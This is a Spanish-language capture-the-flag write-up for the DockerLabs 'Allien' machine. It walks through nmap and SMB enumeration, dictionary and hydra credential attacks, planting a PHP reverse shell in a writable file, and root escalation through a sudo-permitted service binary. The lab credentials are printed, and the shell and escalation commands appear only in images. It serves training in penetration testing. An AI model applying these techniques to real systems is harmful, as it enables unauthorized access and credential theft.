> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/allien.md).

# 🟩 Allien

🧠Dificultad: Fácil | 🔓23/03/2026

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

{% code overflow="wrap" %}

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fcm8KPXXfFHJgWQd5K6F0%2Fimage.png?alt=media&amp;token=78e6946d-6c5b-495a-83f4-6bd9b9b01923" alt=""><figcaption></figcaption></figure>

Tenemos un servicio SSH, HTTP y SMB. Realizamos un escaneo de directorios con `ffuf`:

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FMTxdEfd3kC83pGKDSpQD%2Fimage.png?alt=media&amp;token=93bc82b1-0fcb-42d5-a516-8b5137e6e89b" alt=""><figcaption></figcaption></figure>

Viendo los directorios desde el navegador, no encontramos nada relevante. Vamos a ver qué recursos compartidos están expuestos en `SMB`:

{% code overflow="wrap" %}

```bash
smbmap -H 172.17.0.2
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F3B9T8PoPTOG7DU2ecnIm%2Fimage.png?alt=media&amp;token=3500b511-a3de-4da1-bc4f-69d414b57670" alt=""><figcaption></figcaption></figure>

En el recurso compartido `myshare` encontramos un recurso llamado `access.txt` con un token JWT del usuario `satriani7`. En los demás recursos no tenemos permisos como usuario anónimo. Veamos esta vez los usuarios que encontramos con `crackmapexec`:

{% code overflow="wrap" %}

```bash
crackmapexec smb 172.17.0.2 --users
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FJGbjuQTxqyNeaNrzUVZc%2Fimage.png?alt=media&amp;token=872f731c-afbf-4de5-acd8-a8426704fc6b" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Hacemos un ataque de diccionario al servicio `SMB` con `crackmapexec` al usuario `satriani7` con la wordlist `rockyou.txt`.

{% code overflow="wrap" %}

```bash
crackmapexec smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FIwIrk1PrSj5yRk4BL4wC%2Fimage.png?alt=media&amp;token=617a5eea-274f-417c-a251-728b365efea4" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales: `satriani7:50cent`. Entramos a ver qué hay en el recurso compartido `backup24`:

{% code overflow="wrap" %}

```bash
smbclient //172.17.0.2/backup24 -U satriani7
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FNGYXoqG3YkJaRHxUzkMP%2Fimage.png?alt=media&amp;token=60490054-06c4-4c0d-93c0-37e44879f63b" alt=""><figcaption></figcaption></figure>

Nos lo llevamos todo a nuestra máquina y buscamos ficheros interesantes:

{% code overflow="wrap" %}

```
recurse ON
mget *
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FAurShUWatdKrNG6XPMRe%2Fimage.png?alt=media&amp;token=6aebf548-c576-4822-bc82-d73db04f8ac7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FTWtPqASGXhjCfsePFCcL%2Fimage.png?alt=media&amp;token=7958c755-922d-4da9-b2f0-5123abe816e6" alt=""><figcaption></figcaption></figure>

Podemos usar estos combos para intentar entrar a la máquina por `SSH`. Creamos un fichero llamado `combo.txt` que pasaremos a `hydra` para probar únicamente las combinaciones que escribamos.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGAA1xZGzNOsbZRU86WS4%2Fimage.png?alt=media&amp;token=b956d552-cc61-4090-9b35-743dd0ba20d3" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
hydra -C combo.txt ssh://$IPTARGET
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F5dnvOcNg8zT6DTlxK0d2%2Fimage.png?alt=media&amp;token=57cf24ce-aa51-455c-b4ff-99659603c614" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales: `administrador:Adm1nP4ss2024`.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGXjIhWoqUbG7GF9sMIyp%2Fimage.png?alt=media&amp;token=13320f76-7392-4ff1-80ed-74a93ee7c9eb" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Buscamos ficheros donde seamos propietarios:

{% code overflow="wrap" %}

```bash
find / -user administrador -type f 2>/dev/null
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FouRfUT3T39lIQWTUEz4W%2Fimage.png?alt=media&amp;token=f6e3a137-9036-4c10-a356-657e04da6b94" alt=""><figcaption></figcaption></figure>

Podemos meter en `info.php` una reverse shell (en mi caso, la de pentestmonkey). Nos ponemos a la escucha en nuestra máquina y solicitamos el recurso `info.php` desde nuestro navegador.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fc8Xbi815Nc2GrZiCCaO1%2Fimage.png?alt=media&amp;token=a1ad78aa-d43d-4af0-b648-dc63877fa568" alt=""><figcaption></figcaption></figure>

Vemos los permisos que tenemos con `sudo`:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F4ernFc7AjxZvGhuQkGtt%2Fimage.png?alt=media&amp;token=47cef268-0a91-4bfd-90f9-74f434188cde" alt=""><figcaption></figcaption></figure>

Podemos ejecutar `/usr/sbin/service` como `root` sin necesidad de introducir contraseña. En [gtfobins](https://gtfobins.github.io/) encontramos un comando para explotar esta configuración:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fg1zIF6uZInctFaFL781P%2Fimage.png?alt=media&amp;token=8b71c9c1-867e-4449-96c2-83f3ddef4a97" alt=""><figcaption></figcaption></figure>
